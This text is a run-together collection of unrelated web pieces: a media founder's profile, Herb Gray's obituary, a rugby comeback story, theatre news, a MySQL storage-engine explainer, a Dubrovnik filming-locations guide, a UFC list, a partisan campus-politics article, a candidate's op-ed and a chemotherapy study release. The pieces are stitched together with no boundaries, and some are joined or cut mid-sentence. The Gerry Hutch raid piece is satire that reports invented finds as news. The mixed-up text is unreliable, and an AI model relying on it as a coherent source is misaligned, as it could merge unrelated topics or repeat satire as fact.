“My interest has always been in national and international politics,” says Maple Grove native Mnar Muhawesh. Due to her family background and upbringing—as a young teenager, Muhawesh spent three and a half years living in Jerusalem, where some of her extended family still lives—Muhawesh has always had a strong understanding of international relations. By the time Muhawesh returned to Maple Grove for the end of her eighth grade year, she also knew that, without a doubt, she wanted to be a journalist.
In 2009, Muhawesh graduated from Saint Cloud State University. She interned for a year at KARE 11 before deciding to pursue freelance journalism, a choice brought on in part by the birth of her son. As a freelancer, she chose topics that were important to her and sold pieces to different news organizations. She also put articles on her blog, Mint Press, which she named because mint is “fresh, invigorating, new.” Around this time, she began to envision a platform in which “long-form, investigative pieces” could cover national issues often overlooked in newspapers.
With aid of local financial backers, and some guidance from her father-in-law, Muhawesh launched Mint Press News in 2011. “We want to give a voice to the voiceless,” she says of Mint Press’ mission. Mint Press has grown rapidly; as of August, there were 17 employees, eight of which operate out of Mint Press’ Plymouth office. Muhawesh is proud of the caliber of writers Mint Press employs and publishes; she lists college professors, political analysts, internationally recognized authors, a human rights director and a renowned photojournalist as contributors. Her commitment to allowing the writers a say in what they cover has allowed her to attract and retain talented contributors.
Muhawesh insists that networking was key to her success. She advises teens to take in-person and social networking seriously. “Don’t put limits on yourself,” she says. Her other tips mirror what Woo and Loney alluded to: “Always think big. Don’t be afraid to take matters into your own hands. Follow your passion.”
&
Live Life Clothing: livelife-clothing.com
Mint Press: mintpress.netHerb Gray, a former deputy prime minister and Canada's first Jewish federal cabinet minister, has died at the age of 82, the federal Liberal Party announced late Monday night.
Gray was elected to Parliament for the first time in 1962. He served the district of Windsor West for almost four decades, making him one of the longest-serving MPs in Canadian history.
Previous Next "[He] has left behind an immense legacy unmatched by most in Canadian history," Liberal Leader Justin Trudeau said in a statement.
"Beloved by all, Herb devoted a lifetime to his party and his country, in both good times and bad."
Trudeau said he and his wife join Canadians in "mourning the loss of one of Canada's great statesmen."
He was notorious for his stability as a politician.
He was "the Liberal Party's version of the Rock of Gibraltar," Don Boudria, a former Canadian politician, once said.
His wife of 46 years, Sharon Sholzberg-Gray, said he was equally steadfast to his family.
"I think he'd like to be remembered as someone who tried to serve the people of Canada the best he could, in particular the people of Windsor that elected him and re-elected him 13 times," she told the CBC's Julie Van Dusen. "But above all, he wanted to be remembered as a husband and a father and a grandfather, because that was so important to him.
"It's important also to note that you can lead a public life and have a wonderful family life as well."
Sholzberg-Gray said her husband loved his hometown of Windsor and counted among his greatest accomplishments negotiating a loan guarantee for the "failing" Chrysler corporation when he was industry minister that meant the company's untried new vehicle, the minivan, would be made exclusively at its Windsor plant.
"Herb was always very futuristic and he was right, and the minivan became very popular and it's something people are still using today as a go-to car," she said.
'Natural man of the people'
Former prime minister John Turner, who along with Gray was first elected to Parliament in 1962, said he introduced Gray to Sharon, who was a campaign worker for Turner.
"So Herb and I remained good friends. He was a great Canadian," Turner said. "We saw eye to eye on most issues. He was a formidable parliamentarian.
"He knew what people were thinking. He asked questions, he listened more than he talked and he was just a natural man of the people," Turner said.
Opposition Leader Tom Mulcair offered condolences for "an esteemed politician who devoted his life to public service."
"Catherine and I offer our heartfelt respect to Mr. Gray for his dedication and outstanding contributions to Canada," Mulcair said in a statement released Tuesday.
Flags were lowered to half-mast on all federal government buildings in Ottawa Tuesday and will remain that way until sundown on the day of Gray's funeral. The flag on the Peace Tower on Parliament Hill will be flown at half-mast on that day as well. Gray's funeral is set for Friday in Ottawa.
Gray will not receive a state funeral, which are usually reserved for prime ministers, governors general and sitting cabinet ministers, although former finance minister Jim Flaherty was laid to rest with a state funeral last week.
"Mr. Gray was a great Canadian and a tremendous parliamentarian who served with honour and dignity," said Jason MacDonald, in an email to CBC News. "We are offering to support Mr. Gray's family with the planning and logistics of his funeral."
Gray served in many cabinet positions and was appointed deputy prime minister by former prime minister Jean Chrétien in 1997. He retired from federal politics in 2002.
“Throughout his career, Gray was guided by principles of social justice, good governance, sound democratic processes and programs that create opportunities for all,” the Liberal Party statement read.
Gray, who was first elected in 1962, held 11 cabinet positions with the Liberal Party. (Canadian Press)
He went on to spend eight years as the Canadian chair of the International Joint Commission of Canada and the United States. In 2008, he became Carleton University's tenth chancellor.
Gray and his wife, Sharon, had two children and eight grandchildren.
He was a Companion of the Order of Canada and received numerous accolades from universities, governments and community organizations, including the inaugural Laurier Leadership Award from the Liberal Party of Canada.
In 2012, the Windsor-Essex Parkway project was renamed the Herb Gray Parkway in honour of the former MP.
At the time, Gray said he missed everything about his hometown of Windsor.
"It's my home city," he said. "I grew up here. I represented it in Parliament. People were very friendly. Very supportive. So I have wonderful memories."
Reaction on social media
Condolences and memories of the politician quickly spread online:Share 0 SHARES
THE home of Gerry ‘The Monk’ Hutch was raided this morning by over 100 gardaí investigating the murder of David Byrne at the Regency Hotel. WWN can bring you these exclusive pictures taken by detectives at the scene:
The Monk’s home is not your stereotypical gangster house. In fact, it’s quite ordinary on the outside, but what gardaí uncovered when they broke down the door will be sure to shock you.
Upon entering, gardaí were taken aback by the sheer size of the Crumlin resident’s front room. Dozens of pews flank each side of the entrance area, obviously to seat The Monk’s large gang of criminals. Statues of previous Dublin criminals align the wall, with Martin ‘The General’ Cahill leading the way. Gardaí estimate the cost of furnishing this room alone would have been in the hundreds of thousands of euros. Each of the 100 gardaí were asked to genuflect when entering – a condition agreed upon between gardaí and The Monk.
Probably one of the most unusual finds was this confession box, used by The Monk to interrogate potential snitches and a place, sources claim, where cruel and unusual penance was dished out on a daily basis. It is understood The Monk would sometimes force gang members to recite several decades of the rosary on top of Holy Marys, Our Fathers and a partridge in a pear tree. Gardaí also found 4,000 communion wafers hidden in the box, which are believed to have come directly from Columbia, with a potency of 90% Christ.
The most worrying find in the home of The Monk has to be this altar. Gardaí believe dozens, if not tens of armed robberies were planned at this very table. Forensic teams found large traces of incense and a book with a coded language, aptly |
fitness sessions. The sessions he can complete, an exhausted Yow Yeh has to head home to ice his ankle, continue physio and exercising it merely to be able to wake up and do it all again the next day.
In the immediate aftermath of his injury Yow Yeh spent seven weeks in hospital but in that time received hundreds of letters of well wishes from rugby league fans, inspiring him to throw himself into community work as soon as he was able.
He did it with a sense of gratitude and a new-found appreciation for what rugby league means to people and it led to him being named the Broncos' 2013 Clubman of the Year.
"Without sugar-coating it, the injury he's had was a lot worse than mine," says former teammate Scott Prince, who was one more broken leg away from quitting the game at a young age.
"But just his attitude towards the game and towards the club, he really puts the club and the boys first. That's one thing that I was really impressed with in the 12 months that I spent at the Broncs, that he still loves the game and he still wants to get back to being the best that he can be.
"He inspires a lot of people, not necessarily just players but everyone involved with the club and in rugby league in general."
For his part, Yow Yeh said his injury had taught him to take nothing for granted.
"What happened to me hasn't happened to anyone else in the field of rugby league so as a person it's made me realise and appreciate the little things that come with this opportunity of playing rugby league," he said.
"We've got a great life and a great opportunity that is given to us when we do get to our level and to be a part of the Broncos is just a massive thing. I couldn't have been at a better club at the time that I got injured and what they've done for me... The support I've had from them is ridiculous, it's great, and I love them for it.
"Outside of football, I don't take little things for granted anymore because anything can happen to anyone. You can't take anything for granted and if I'm going to take one thing out of this that's probably it.
"I come to training and I really enjoy it; I do things with my family because anything can happen. That's how I see life now and how the last couple of years have changed everything for me.
"It might be something little to people but for me, to go out of their way and to write a letter to myself and send it to the hospital or send it to the Broncos, was massive. I probably got 200-300 letters that seven weeks I was in hospital and after that I thought, It's more than just a game."
Although February will mark his first game for the Broncos in almost two years, Yow Yeh made his return to the playing field in April last year in the third tier FOGS Cup with Norths Devils and went on to play a further half dozen games for the club he first played for as a 13-year-old.
It was a major milestone in the recovery process that doctors had initially told him he would never reach and fuelled the burning desire to once again play for the club that he holds so dear.
"Playing games brought my confidence right back," the 24-year-old said. "I thought having a year-and-a-half off footy and coming back from an injury and playing the games that I did... I thought I played OK but in saying that I'm pretty hard on myself.
"I still want to get better; I don't want to leave it at that."Now, that's some seriously site-specific theatre: The Groundling Theatre Company will remount its sold-out production of The Winter's Tale at the Winter Garden Theatre in Toronto this winter.
Artistic director Graham Abbey is set to announce Tuesday that his upstart Shakespearean theatre company will take over the fittingly named Edwardian theatre for a month starting Jan. 19 – presenting the Dora Award-winning production that launched the small but starry company last year in repertory with a new one of Measure for Measure.
Stratford and Shaw Festival veterans Brent Carver, Michelle Giroux, Tom McCamus and Lucy Peacock are returning for the double bill directed by Abbey, while Karen Robinson and Steven Sutcliffe are joining the ensemble for its next chapter. (Only Robert Persichini will not be back for the remount.)
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The Winter Garden sits on top of the Elgin Theatre on Yonge Street – the two former vaudeville houses forming the world's last operating double-decker theatre. Managed by the Ontario Heritage Trust, the space is usually too pricey for local theatre companies to rent.
"We've managed to structure a fairly unique deal with these guys," says Abbey, taking The Globe and Mail on a tour of the underused gem, a kind of theatrical botanical garden with real beech boughs and lanterns suspended from the ceiling. "It reminds me of Bohemia [in The Winter's Tale] here."
Brokered by executive producer Robert Richardson, who regularly works with panto king Ross Petty in the Elgin Theatre below, the discounted deal is due to the unusual staging for the two plays: Both cast and audience will be on the stage.
Though the Winter Garden has 991 seats, the Groundling productions will offer only around 150 seats a performance – 120 sold for $79 or $64 in advance, while around 30 stools around the lip of the stage will be available on the day of the performance for $29. (Exact seating will be determined by the time tickets go on sale on Ticketmaster on Nov. 28.)
Keeping it intimate is the artistic goal of Groundling – which Abbey launched last year with The Winter's Tale at the Coal Mine Theatre, a 100-seat theatre on the Danforth. With actors well known from the Stratford and Shaw Festival, advance tickets quickly sold out before it had opened – and people lined up as early as 4:30 p.m. in the dead of winter to get "groundling" seats on cushions on the floor.
How did Abbey attract the big names to his project? For Tony-winner Carver, Groundling is an opportunity to work with what he calls a "fantastic company" in an "inclusive" rehearsal atmosphere – and be up close and personal with an audience. "The proximity of people, I just think that's quite interesting and certainly illuminating," he says.
"I think we all did it for love – love of Graham, love of each other, love of the play," Peacock adds. "It was one of those no-hesitation things."
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In January, Peacock will reprise her Dora-nominated performance as Paulina in The Winter's Tale – and also take on the role of The Duke in the so-called "problem play" Measure for Measure. The part has been transformed into The Duchess for this production – no problem for Peacock, who has previously played a Queen Lear in Colorado and done a fair bit of gender-bending at the Stratford Festival.
McCamus will play the lecherous judge Angelo, while Giroux will take on the part of the nun Isabella who exposes him in a play about abuse of authority and power that Abbey says seems ripped from the headlines in the wake of the Jian Ghomeshi trial. "That denial of women speaking up about assaults … It amazes me it was written 400 years ago."Some DBAs go their whole career using just one or two storage engines. In this article, we’ll take a peek at four remarkable storage engines you might have overlooked, all of which ship with MySQL 5.5.
What’s a Storage Engine?
Different applications create different data with different needs. Some applications require consistency and crash safety, others require speed, others require vast storage and can accept slow queries. MySQL’s pluggable storage engines let DBAs pick a storage model that fits the data while the application continues to use the same MySQL client libraries and SQL statements.
Ol’ Reliable MyISAM and InnoDB
Most MySQL developers choose between MyISAM and InnoDB. MyISAM is fast, and has more than a decade of developer and DBA goodwill behind it. InnoDB brings transaction support for full ACID compliance, and includes row-level locks and caching that can make it even faster than MyISAM under concurrent load.
Ultimately both these storage engines make wise compromises for the vast majority of everyday workloads. But when you have an extraordinary problem, you might turn to one of these:
Memory
The Memory storage engine is a good fit for super fast access to information that is either ephemeral (like session management) or exists elsewhere (like a temporary table). Memory tables have no disk-based permanence; if MySQL crashes or the server reboots, that data is gone. Note that you can get better performance than Memory tables, along with higher scale and permanence, if you make the jump to MySQL Cluster—but that’s a little more involved than switching storage engines.
Archive
The Archive engine is ideal for tables that you append lots of data to, but hardly ever read, like logs. It only supports INSERT and SELECT; it does not support UPDATE, REPLACE, or DELETE, or even ORDER BY. INSERTed rows are compressed before being appended to the table on disk. The engine provides no row cache and no indexes; SELECT statements always perform a complete table scan, uncompressing the table as they go. As a result, the data takes up very little space, but will be very slow to retrieve.
CSV
The CSV engine stores data in a comma-separated value file on disk. A CSV file provides an easy compatibility point to share this data with other systems (like Excel). The benefit of using the CSV engine (instead of import/export options like load data infile and select into outfile) is that the underlying CSV file is kept continuously up to date, while being manipulated with standard SQL statements.
Blackhole
Blackhole is a storage engine that doesn’t actually store anything. SELECT, UPDATE, and DELETE always return 0 rows. Any INSERT succeeds, but the data is thrown away. It’s commonly used in building a Replication Relay: the relay copies events from the master’s binlog to its own binlog, then downstream slaves can read from the relay’s binlog. But no one cares if the relay applied the master’s changes to itself, so the relay can use the Blackhole engine to dramatically reduce I/O. You can get hands-on experience building a relay with the blackhole engine in our online MySQL Replication course.
Thanks for reading! If you’d like to get a little better at MySQL every week, you should sign up for our MySQL Tip of the Week mailing list. Not only will it make you smarter, we periodically send subscribers discounts for our courses!King’s Landing was looking particularly impressive from where I was standing, perched atop adjacent Fort Lovrijenac, or The Red Keep to you and me, itself a veteran of many Game of Thrones locations. It was the perfect spot to look down at the ancient fortified walls of Dubrovnik’s old city and see it in such a familiar light; the often repeated exterior shot of King’s Landing, Game of Thrones’ fictional capital. The flags up on the battlements, the harbour, the medieval gates and the circular fort. From up here, I could clearly see the waters of Blackwater Bay, the stone pier where Lord Baelish helped Sansa flee to The Vale after Joffrey’s murder and talking of Joffrey, the park where his wedding party took place. It was, I have to say, all gloriously familiar. So welcome to our Dubrovnik guide to Game of Thrones locations.
Dubrovnik’s old city was made for this. Over a mile and a half of original medieval ramparts over 18 feet thick, it is a film set waiting to happen. With the help of Tomislav Matana (whose sister Ivana was an extra in the series) we took a walk around the old city and uncovered the juiciest locations for some of Game of Thrones most memorable scenes.
We met just outside Pile Gate, the western entrance to the old city, a favourite meeting spot just by the doors of Dubrovnik’s tourist board and well within spitting distance of the city walls. As we walk through Pile Gate’s huge doors and into the old city down a sloping walkway, Tomislav points out “This was the location for Jaime Lannister’s return to King’s Landing and where the many market place scenes were shot.”
As we walk down I know this place; I’ve seen it countless times from when Joffrey got dung thrown at him, to when the riots began. Our Dubrovnik guide to Game of Thrones locations is starting to take shape.
We cut through the city to the water’s edge just around from the harbour and found ourselves by the narrow stone pier leading out to the Adriatic. A very busy location for all kinds of scenes; Sansa dreaming of freedom from Joffrey, leaving with Baelish after Joffrey’s murder and the battle of Blackwater Bay. Just to the right a rocky outcrop beckoned with two green doors set into the rock, here was the slaughter of the innocents. And down to the left of the narrow pier, another scene when Twyn Lannister aka Charles Dance is fishing.
We cut around the small harbour, past the Slaughter of the Innocents doors and ascend the steps up to the Red Keep. Now this was much more like it, a veritable treasure trove of shooting locations. Up here there are familiar scenes everywhere you look. Joffrey’s Name Day tournament, Sandor The Hound, Daenerys Targaryen’s House of the Undying, prison scenes, corridor scenes, it’s a walking talking Game of Thrones location fest.
Up on the roof, past the old cityscape, I spotted a replica old schooner making its way across the sea to the Island of Lokrum. It’s no more than a 20 minute ferry ride out to the island which these days is a quiet retreat from the bustle of old Dubrovnik; just a wooded isle with beaches, peacocks, a botanical garden, a nature walk and a cafe or two. Of course in Game of Thrones it is something entirely different, for this was the port city of Qarth.
Back on the mainland I had one more location to seek out. A short taxi ride along the coast from Dubrovnik old city is a bombed out wreck of a one luxurious 5 star hotel called Hotel Belvedere. It was a creepy reminder of the dark days of the Balkan war when Dubrovnik was under siege for months, but it was yet another perfect location for Game of Thrones and it hosted the titanic battle when Prince Oberyn, the Red Viper of Dorne faced The Mountain.
Dubrovnik will once again host filming in the next season of Game of Thrones coming this September. More reasons to keep our Dubrovnik guide to Game of Thrones locations close by.
Until then, Winter is coming……..
All images apart from HBO scenes (c) Andy Mossack
Tell me more about our Dubrovnik guide to Game of Thrones locations?
Let Tomislav give you a personal tour of Game of Thrones locations
http://www.toursbylocals.com/GameOfThronesDubrovnikTour
Croatian Tourist Board
Getting to Dubrovnik
British Airways currently operates 8 flights weekly from Gatwick to Dubrovnik The lead-in regular fare is £151.09 return including taxes/fees/carrier charges with hand baggage only fares from £119.09, both these levels are not now available until late October. Club Europe fares start from £401.09 return including taxes/fees/carrier charges, but again restricted availability during the summer may result in a higher fare.To book or for more information visit www.ba.com or call 0844 4930787.
Gatwick Express, the non-stop rail-air service between Victoria station and Gatwick Airport, departs every 15 minutes with a journey time of 30 minutes. Gatwick Express is the fastest and best way to travel between central London and Gatwick Airport with return tickets starting from £27.40. With an ongoing 10% discount, it is always cheaper to buy your ticket online at www.gatwickexpress.com
if you have an early flight stay the night at Gatwick, Holiday Extras offers discounted great value airport room only rates and a luxurious way to mitigate the discomforts of rising at dawn to catch
that early plane. www.holidayextras.co.uk Tel: 0800 1313 777
Apart from our Dubrovnik guide to Game of Thrones locations, Croatia also has more coastal towns to explore such as Split and Rovinj5. Jason Thacker
4. Jesse Taylor
3. James Toney
2. Renzo Gracie
1. Kazushi Sakuraba
"To say this is one and done, I think that's premature."Those were the words of CM Punk, real name Phil Brooks, ahead of his UFC--and professional mixed martial arts--debut. He will face Mickey Gall at UFC 203 on Saturday, September 10.The former WWE superstar-turned-UFC welterweight isn't the first high-profile name to join the UFC early into his MMA career. I'm looking at Brock Lesnar, but he certainly has the most questions surrounding him. Unlike Lesnar, a former NCAA wrestling champion, Punk essentially has zero athletic experience outside of the WWE heading in his UFC bout.If Gall ends up getting his hand raised, what will happen to Punk next? Will the UFC give him another chance, or will he actually become a "one and done"?If his debut is anything like these next five, we probably won't see the Chicago native take the walk to the Octagon for a second time. Without further ado, here are FloCombat's Top 5 examples of "one-and-done" fighters in UFC history.Oh, Jason Thacker…The butt of everyone's jokes during the inaugural season of The Ultimate Fighter and the most elusive man in MMA was the only member of that season with no mixed martial arts experience.Needless to say, he was a fish out of water, as he was mercilessly picked on by the other fighters. The image of Chris Leben urinating on Thacker's bed during the first night in the house has become synonymous with the long-running TV series.While he was eventually voted off the show (yes, that was a thing), Thacker would end up getting his chance at revenge, as he squared off against Leben at the TUF Finale. He lost the fight via TKO and went back into seclusion, never stepping foot in the Octagon--or any cage--againWhile his UFC career lasted a grand total of 95 seconds, it will forever be remembered as one of the most memorable, and important, in the company's history.While Jesse Taylor only had one fight in the UFC, it almost didn't happen due to a drunk rampage during his time on TUF 7.After Taylor earned his way to the final round of the show's middleweight tournament, he decided celebrate in Las Vegas after filming ending. Unfortunately, CCTV cameras were still rolling, as they caught Taylor smashing out the window of a limousine while screaming "I'm a UFC fighter" at hotel workers and guests.UFC President Dana White not only cut Taylor from the finals but also handed him his walking papers before he even made his promotional debut. But after cleaning up his act, which included attending AA classes, Taylor was given a second chance with the world's biggest fight promotion.Taylor would go on to lose to fellow TUF 7 cast member CB Dolloway by way of first-round Peruvian necktie. Taylor was then promptly released from the UFC. Since that night, Taylor has fought all over the world, earning gold for Cage Warriors, King of Champion, and Total Combat.As a former three-weight world boxing champion, while also being voted by both The Ring magazine and the Boxing Writers Association of America (BWAA) as their "Fighter of the Year" in 1991 and 2003, James Toney held some of the most impressive résumés in UFC history. So when he announced he would don the four-ounce gloves and try his hand at mixed martial arts, the fighting world eagerly took notice.Toney was eventually paired up with UFC Hall of Famer Randy Couture for his dance inside the Octagon. While he may have talked a big game, Toney's MMA skill set left much to be desired, as he was taken down just 15 seconds into the fight. After a few more minutes of toying with his squirming opponent, Couture effortlessly sunk in an arm-triangle choke, forcing the boxer to submit.And just like that, the UFC's James Toney experience was no more.A world famous Brazilian jiu-jitsu coach, Renzo Gracie has helped train a number of high-profile fighters, such as former champs Georges St-Pierre, Frankie Edgar, Chris Weidman and Matt Serra.So when the UFC announced Gracie signed a six-fight contract in 2009 and was set face former UFC welterweight champ Matt Hughes at UFC 112 in Abu Dhabi, the hype around the fight became palpable.Entering the bout, Gracie hadn't fought since his second-round win over former UFC light heavyweight champ Frank Shamrock. This marked his third-straight win over a former UFC champ after coming out on top over Carlos Newton and Pat Miletich as well.While the Brazilian initially held his own against Hughes, the barrage of leg kicks eventually took their toll. By the third round, Hughes had taken full control of the fight with his stand-up attack, unloading a series of uppercuts and hooks to the skull of Gracie. The referee would eventually save Gracie from further damage late in the third round.Gracie hasn't been seen inside a ring or a cage since.I know what you're thinking. Yes, technically Sakuraba had two fights inside the UFC Octagon, but since both happened on the same night against the same person and this is my list, he takes the top spot in the 'one and done' category.The Japanese icon entered the UFC's one night, four-man tournament in 1997 as a late-hour replacement for the injured Hiromitsu Kanehara. Weighing 183 pounds, almost 20 pounds under the UFC's 200-pound requirement, Sakuraba faced the 60-pounds-heavier Marcus "Conan" Silveira in the opening round. After John McCarthy prematurely stopped the fight, mistaking a Sakuraba takedown for a fight-finishing punch, Sakuraba iconically refused to leave the cage until all was righted.But then, in what can only be described as divine intervention, fellow fighter Tank Abbott broke his hand in his opening-round win, forcing him out of the tournament. Then the alternate fighter, Tra Telligman, revealed he too was injured. So the decision was made to allow Sakuraba back in to rematch Silveira in the tournament's championship match. Sakuraba would go on to submit his hulking opponent.The rest, as they say, is history. Sakuraba would go on to become arguably the most famous Japanese fighter in combat sports history, as he picked up wins over former UFC champions Newton, Vitor Belfort, Quinton Jackson, Kevin Randleman and three-time UFC Tournament champion Royce Gracie.While Conservatives are petitioning for the government to label Antifa a terrorist organization, two professors are embracing Antifa and organizing a “Campus Antifascist Network” (CAN) to fight against “hate groups” on campus.
According to Inside Higher Ed (IHE), the Campus Antifascist Network is the brainchild of Bill Mullen, a professor of American studies at Purdue University and David Palumbo-Liu, a professor of comparative literature at Stanford University, and is committed to functioning as a “big tent” for “anyone committed to fighting fascism.” CAN brands fascism as a “historical expression of capitalism’s tendency to dominate the poor, working class, and oppressed people.”
The goal of the campus Antifa group is to confront groups it considers fascist to “drive racists off campus.” Despite Antifa’s propensity for violence and destruction in its drive to control and curb what people say or believe, the professors maintain they only support the effort for self-defense by those who are threatened by fascists on campus and do not advocate for direct violence.
One can only speculate how this plays out on campuses as more universities, students and professors across the nation join the Antifa network. Dartmouth College Professor Mark Bray, for instance, is a proponent of the direct violence used by Antifa and argued on “Meet the Press” they need to take preemptive measures to avoid the rise in white nationalists.
Will professors and students adopt a more violent method than Mullen and Palumbo-Liu advocate?
“The election of Donald Trump has emboldened fascist and white nationalist groups nationwide, on campus and off, and their recent upsurge requires antifascists to take up the call to action once again,” Palumbo-Liu argues in the group’s invitation letter to join the network. “Since Trump’s election, fascists, neo-fascists, and their allies have used blatantly Islamophobic, anti-Semitic, racist, misogynistic, homophobic, transphobic, and ableist messaging and iconography to recruit to their ranks and intimidate students, faculty, and staff. The time to take action is now.”
Mullen and Palumbo-Liu believe “fascists” have used free speech as a façade for “attacking” faculty who have stood in solidarity with students “against the threat that these [fascist] organizations and individuals pose, and as an excuse to march and organize around slogans drawn directly from ‘blood and soil’ rhetoric of Nazi Germany. White supremacists like Richard Spencer have invoked classic tropes of white supremacy to scapegoat and target immigrants, non-whites and the foreign-born. Such organizations and individuals have also engaged in outright physical violence up to and including murder, like those tragic incidents that occurred in Oregon, Virginia, and Maryland.”
The membership invitation explains that the issue isn’t free speech per se, but the actions fascist groups engage in to silence others’ free speech, academic freedom, and civil liberties.
This is at odds with what is playing out across college campuses countrywide where the free speech of only conservative speakers is either cancelled or violently protested while liberal speaking engagements go on uninterrupted. Bogus Times reached out to Palumbo-Liu for comment, but he failed to respond in time for publication.
Palumbo-Liu also professes in the invitation that the “so-called ‘alt.right’ and their fellow travelers have also aggressively sought to smear, bully and intimidate faculty, especially faculty of color. Progressive scholars such as Keeanga Yamahtta-Taylor, Johnny Williams, Dana Cloud and George Ciccariello-Maher, among others, have each been threatened with violence, or firing, for strong anti-racist social justice commitments.”
These professors are familiar to both Democrats and Republicans for their well-publicized attacks on President Trump, his supporters and/or white people in general. Professor Keeanga Yamahtta-Taylor gave the commencement speech at Hampshire College where she called the president “a racist, sexist megalomaniac.” She claims to have received emails following her remarks containing specific threats of violence. As a result, she cancelled speaking engagements. Williams was put on leave by Trinity College after Facebook and Twitter posts were revealed that supported the shooting of Congressman Steve Scalise and others during baseball practice. Dana Cloud landed herself on the professor watchlist for a tweet telling protesters to “finish them off” referring to “fascists” at the anti-sharia rally in Syracuse. Ciccariello-Maher made a name for himself by tweeting that all he wanted for the holidays was “white genocide” and following that up by saying he wanted to “vomit” after seeing someone give up a first-class airline seat to a uniformed soldier.
CAN’s invite offers to assist localities in organizing their Antifa chapters on campuses “that can help support, educate and defend faculty, students and staff, and share information on fascist organizing in the U.S., planned fascist activities, and organized antifascist responses.” The plan is to “build large, unified demonstrations against fascists on campus,” according to Mullen, and protect vulnerable groups.
AdvertisementsAre “Lost” Democrats Finding Their Way In North Texas?
“Lost in the wilderness,” is how some described the Democratic Party after the 2016 election. We may be in the wilderness, but we aren’t lost. To see a forest for its trees, many will recommend you step back to take in a wider view. My approach has been the opposite: go deep into the forest to where all one can hear is the swaying of the trees, put my ear to the ground, and listen. As a Democratic candidate for Congress here at the base of the cross timbers, I’ve tried my best to hear from everyone, and along the way I’ve found a path out of the wild, not just for my campaign, but for Democrats nationwide.
Don’t be misled by leafy branches — the roots are crumbling
Although North Texas has recently seen unprecedented economic growth, the American family is in the most precarious position it’s been in generations: cost of living is skyrocketing, while wages have stagnated; healthcare costs are the number one cause of bankruptcy; and student loan interest rates are stifling. While the decision to start or grow a family is often based on a multitude of personal factors, I’m hearing a common complaint:
“We’re not having children. It’s too expensive.”
Hard-working people hesitant to start a family because they feel they can’t afford one should be a clear sign something’s gone wrong.
America has long promised success to those who work hard. But fewer families are finding this to be true. While the suburban middle class may still feel that the American Dream is within reach, there is another America for whom it has become (or always was) a fairytale. Working 50 hours a week, along with their partners, these Americans struggle to afford the basics taken for granted by their parents’ generation: a starter home, car, and savings account. It’s hard to imagine raising a family with these challenges. Many young people can’t, so they don’t. The sunlight of economic prosperity isn’t trickling down to the roots, leaving the American family missing out on opportunities available only to those at the top.
Over the course of a generation, families went from sending children to work to sending them to school, from struggling with the poverty of living on a dirt floor to walking the hallways of America’s universities.
We fought to save Americans from the dangers of the Industrial Revolution, while maximizing its economic opportunities for the American family. However, in today’s Information Revolution, we’ve become complacent, as jobs are replaced by automation and e-commerce, and we must return to the fight for economic opportunity. Policies that help the American worker, whose productivity has doubled over the past 30 years, to benefit from that growth are simply modern, fair and common sense.
This isn’t to say that we should cease in our efforts to ensure justice for American minorities, women, immigrants, the disabled, and our LGBTQ friends and family members. But Democrats can walk and chew gum at the same time. In fact, renewing our fight for economic opportunity and removing barriers to the American Dream necessarily means opposing injustice in all its forms.
American Hope
Democrats will deserve to lead again when we instill in America a hope and reliance on the promises of this cultural ethos: from hard work comes success. Such ethos becomes a myth, however, without a stable structure on which the American family can thrive. To earn America’s trust then, Democrats must build this structure by tackling those seemingly insurmountable, modern ideas like progressive tax codes, single-payer healthcare, ending employment and wage discrimination, and a college education that opens more doors than it closes. This fight for the American family will instill again within our country the most important emotion of all: hope.
Will Fisher is a Democratic candidate for the U.S. House of Representatives in Texas’ 26th Congressional District. Find him on Facebook, Twitter, or his website. An interview with Will from earlier this year was previously posted on Rantt.It was not the former patients’ visual acuity that had been damaged; rather their eye motor skills – the eyes’ ability to follow moving objects.
“We observed that most of these patients were not able to move their eyes smoothly and steadily, but jerkily and fitfully. Eye movement like that makes it harder to focus on moving objects in traffic, for instance. It can also cause headaches and dizziness”, says reader Per-Anders Fransson at Otorhinolaryngology in Lund.
The study included 23 childhood cancer survivors, at the current age of 20 to 30, and compared them to 25 healthy people of the same age. Only a few in the first group experienced no visual disorders, headaches and dizziness. The degree of the problem appeared to be related to the degree of which the eye motor skills had been affected, which suggests damage to the central nervous system from the chemotherapy.
Majority still affected by side-effects from cancer treatment
It has been previously known that cisplatin, methotrexate, and ifosfamide – the types of chemo which the subjects of the study had been treated with – can penetrate the so-called blood-brain barrier, and thereby damage the nervous system. What has not been known, however, is whether the eye motor skills could be affected, and the consequences of that.
An average of 15 years had passed since the patients underwent cancer treatment. The study could not determine whether any of them had experienced side-effects which by now had worn off, but it’s clear that the majority of them are still suffering the effects of their treatment. Age, at the time of treatment, appears to play an important role: those who were youngest at the time of treatment were the most affected.
“A child’s brain has not completely developed, which makes it more susceptible to the influence of foreign substances”, says Thomas Wiebe, consultant in paediatric oncology.
He argues that for the time being, despite the risks, we must continue to use the medicines in question – after all, curing the cancer and saving lives is most important. However, the Lund University study reinforces the importance of coming up with new and better treatments. In the future, the new knowledge, and the diagnostic method described in the study will enable oncologists to pay closer attention to any side-effects, in which case it may be possible to reduce the dosage or change medications.
More focus on childhood cancer survivors needed
Thomas Wiebe also finds that Swedish healthcare needs to focus more on the growing group of childhood cancer survivors. Only a third of them are completely free from side-effects, while the rest experience anything from mild to severe effects from their treatment.
“Today, childhood cancer patients are monitored in paediatric clinics until they turn 18, but after that there is insufficient follow-up. We have introduced a ‘delayed effect clinic’ here in Lund, but it lacks sufficient resources, and the rest of the country has even less resources!”, he says.
Because the survivors of childhood cancer may experience problems not only with their balance and vision, but also with for instance cardiovascular diseases, fertility, growth and cognition, they presumably turn to various forms of care in search of help. If there was a good system for diagnosis and follow-up, they could receive the support they need right away.
“When it comes to balance and visual disturbances, there is an exercise programme that can significantly minimise problems. Simply being diagnosed is also valuable so you don’t have to wonder why you are experiencing things such as dizziness and fainting”, says Professor of Otorhinolaryngology Måns Magnusson.
Download article: Oculomotor Deficits after Chemotherapy in Childhood. By Einar-Jón Einarsson, Patel Mitesh, Peterson Hannes, Wiebe Thomas, Magnusson Måns, Moëll and Fransson Per-Anders, 2016. PLOS ONE
Learn more, contact
Per-Anders Fransson
Tel: +46 (0)46 17 17 70 or +46 (0) 17 17 05
Email per-anders [dot] fransson [at] med [dot] lu [dot] se
Måns Magnusson
Tel: +46 (0)46 17 17 96
Email: mans [dot] magnusson [at] med [dot] lu [dot] se
Thomas Wiebe
Tel: +46 (0)46 17 82 84 or +46 (0)705 36 86 93
Email: thomas [dot] wiebe [at] med [dot] lu [dot] seMonday, May 15, 2017
